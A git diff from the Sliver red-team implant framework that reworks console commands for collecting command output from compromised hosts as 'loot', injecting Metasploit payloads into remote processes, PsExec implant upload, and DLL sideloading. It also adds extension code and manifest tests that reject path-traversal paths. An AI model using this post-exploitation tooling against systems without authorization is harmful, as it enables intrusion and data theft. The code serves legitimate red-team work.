||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func determineCommandName(command string) string {
|
||||
commandName := strings.ReplaceAll(command, "\\", "/")
|
||||
|
||||
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
|
||||
|
||||
if strings.Contains(commandName, ".") {
|
||||
commandName = commandName[:strings.LastIndex(commandName, ".")]
|
||||
}
|
||||
|
||||
return commandName
|
||||
}
|
||||
|
||||
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
|
||||
var outputString string = ""
|
||||
|
||||
if combineStdOut {
|
||||
outputString += "Output (stdout):\n" + string(exec.Stdout)
|
||||
}
|
||||
|
||||
if combineStdErr {
|
||||
if combineStdOut {
|
||||
outputString += "\n"
|
||||
}
|
||||
outputString += "Stderr:\n" + string(exec.Stderr)
|
||||
}
|
||||
|
||||
return []byte(outputString)
|
||||
}
|
||||
|
||||
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
|
||||
if len(commandOutput) == 0 {
|
||||
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
|
||||
return
|
||||
}
|
||||
|
||||
timeNow := time.Now().UTC().Format("20060102150405")
|
||||
|
||||
shortCommandName := determineCommandName(cmdName)
|
||||
|
||||
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
|
||||
if lootName == "" {
|
||||
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Output:\n%s", executionOutput)
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(executionOutput, commandName, hostName, con)
|
||||
}
|
||||
}
|
||||
|
||||
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
|
||||
if len(executionOutput) == 0 {
|
||||
con.PrintInfof("There was no output from execution, so there is nothing to save.")
|
||||
return
|
||||
}
|
||||
|
||||
timeNow := time.Now().UTC().Format("20060102150405")
|
||||
|
||||
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
|
||||
|
||||
outFilePath, err = ioutil.TempFile("", outFileName)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(executionOutput))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
@@ -33,8 +33,8 @@ import (
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
|
||||
if pid == -1 {
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMsfRemote - Print the results of the remote injection attempt
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
|
||||
if msfRemote.Response == nil {
|
||||
con.PrintErrorf("Empty response from msf payload injection task")
|
||||
return
|
||||
}
|
||||
if msfRemote.Response.Err != "" {
|
||||
con.PrintInfof("Executed payload on target")
|
||||
} else {
|
||||
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
|
||||
}
|
||||
}
|
||||
@@ -25,14 +25,15 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
con.PrintInfof("Executed payload on target\n")
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
|
||||
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
|
||||
filename := randomString(10)
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -70,7 +69,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
hostName := getHostname(session, beacon)
|
||||
if sideload.Response != nil && sideload.Response.Async {
|
||||
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideload)
|
||||
@@ -78,34 +77,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideload.Response)
|
||||
} else {
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideload - Print the sideload command output
|
||||
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if sideload.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", sideload.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideload.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -4,8 +4,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
hostName := getHostname(session, beacon)
|
||||
if spawndll.Response != nil && spawndll.Response.Async {
|
||||
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawndll)
|
||||
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawndll.Response)
|
||||
} else {
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDll - Print the SpawnDll command response
|
||||
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if spawndll.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", spawndll.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawndll.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -1,46 +1,51 @@
|
||||
Extensions
|
||||
====
|
||||
===========
|
||||
|
||||
Allows to load and execute 3rd party extensions.
|
||||
|
||||
Extensions must be loaded from a directory with the following architecture:
|
||||
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
|
||||
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
|
||||
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
|
||||
be ignored.
|
||||
|
||||
```shell
|
||||
/path/to/extension/folder/
|
||||
├── manifest.json
|
||||
├── extension.json
|
||||
└── windows
|
||||
├── 386
|
||||
│ └── extension.x86.dll
|
||||
└── amd64
|
||||
└── extension.x64.dll
|
||||
│ └── extension.x86.dll
|
||||
│ └── extension.x64.dll
|
||||
└── linux
|
||||
│ └── extension.x86.so
|
||||
│ └── extension.x64.so
|
||||
└── darwin
|
||||
└── extension.x86.dylib
|
||||
└── extension.x64.dylib
|
||||
```
|
||||
|
||||
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
|
||||
|
||||
Here's an example manifest:
|
||||
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name": "foo",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "ac1d-burn",
|
||||
"original_author": "zer0-cool",
|
||||
"repo_url": "https://github.com/foo/bar",
|
||||
"help": "Help for foo command",
|
||||
"entrypoint": "RunFoo",
|
||||
"init" :"NimMain",
|
||||
"dependsOn": "bar",
|
||||
"depends_on": "bar",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files":{
|
||||
"x86": "extension.x86.o",
|
||||
"x64": "extension.x64.o",
|
||||
}
|
||||
"arch": "amd64",
|
||||
"path": "extension.x64.o",
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
|
||||
]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
The structure is the following one:
|
||||
@@ -51,7 +56,7 @@ The structure is the following one:
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtensions - Print a list of loaded extensions
|
||||
func PrintExtensions(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
"Extension Author",
|
||||
"Original Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, extension := range loadedExtensions {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Name,
|
||||
extension.CommandName,
|
||||
strings.Join(extensionPlatforms(extension), ",\n"),
|
||||
extension.Version,
|
||||
installed,
|
||||
extension.ExtensionAuthor,
|
||||
extension.OriginalAuthor,
|
||||
extension.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
func extensionPlatforms(extension *ExtensionManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range extension.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &ExtensionManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
if strings.HasPrefix(manifest.CommandName, prefix) {
|
||||
results = append(results, manifest.CommandName)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,245 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
sample2 = `{
|
||||
"name": "test2",
|
||||
"command_name": "test2",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "../../../../foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
extManifest, err := ParseExtensionManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest: %s", err)
|
||||
}
|
||||
if extManifest.Name != "test1" {
|
||||
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
|
||||
}
|
||||
if extManifest.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
|
||||
}
|
||||
if extManifest.Version != "1.0.0" {
|
||||
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
|
||||
}
|
||||
if extManifest.ExtensionAuthor != "test" {
|
||||
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
|
||||
}
|
||||
if extManifest.OriginalAuthor != "test" {
|
||||
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
|
||||
}
|
||||
if extManifest.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
|
||||
}
|
||||
if extManifest.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
|
||||
}
|
||||
if len(extManifest.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
|
||||
}
|
||||
if extManifest.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
|
||||
}
|
||||
if extManifest.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
|
||||
}
|
||||
if extManifest.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
|
||||
}
|
||||
|
||||
extManifest2, err := ParseExtensionManifest([]byte(sample2))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest (2): %s", err)
|
||||
}
|
||||
if extManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
|
||||
}
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"command_name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
sample3, err := ParseExtensionManifest([]byte(sample3))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to parse initial sample3: %s", err)
|
||||
}
|
||||
|
||||
missingName := (*sample3)
|
||||
missingName.Name = ""
|
||||
data, _ := json.Marshal(missingName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing name error, got none")
|
||||
}
|
||||
|
||||
missingCmdName := (*sample3)
|
||||
missingCmdName.CommandName = ""
|
||||
data, _ = json.Marshal(missingCmdName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing command name error, got none")
|
||||
}
|
||||
|
||||
missingHelp := (*sample3)
|
||||
missingHelp.Help = ""
|
||||
data, _ = json.Marshal(missingHelp)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing help error, got none")
|
||||
}
|
||||
|
||||
missingFiles := (*sample3)
|
||||
missingFiles.Files = []*extensionFile{}
|
||||
data, _ = json.Marshal(missingFiles)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files error, got none")
|
||||
}
|
||||
|
||||
missingFileOS := (*sample3)
|
||||
missingFileOS.Files = []*extensionFile{
|
||||
{
|
||||
OS: "",
|
||||
Arch: "amd64",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileOS)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.os error, got none")
|
||||
}
|
||||
|
||||
missingFileArch := (*sample3)
|
||||
missingFileArch.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileArch)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.arch error, got none")
|
||||
}
|
||||
|
||||
missingFilePath := (*sample3)
|
||||
missingFilePath.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: "",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
|
||||
invalidPaths := []string{
|
||||
"../../../../../",
|
||||
"/../../../../..",
|
||||
".",
|
||||
"/",
|
||||
}
|
||||
for _, invalidPath := range invalidPaths {
|
||||
missingFilePath2 := (*sample3)
|
||||
missingFilePath2.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: invalidPath,
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath2)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
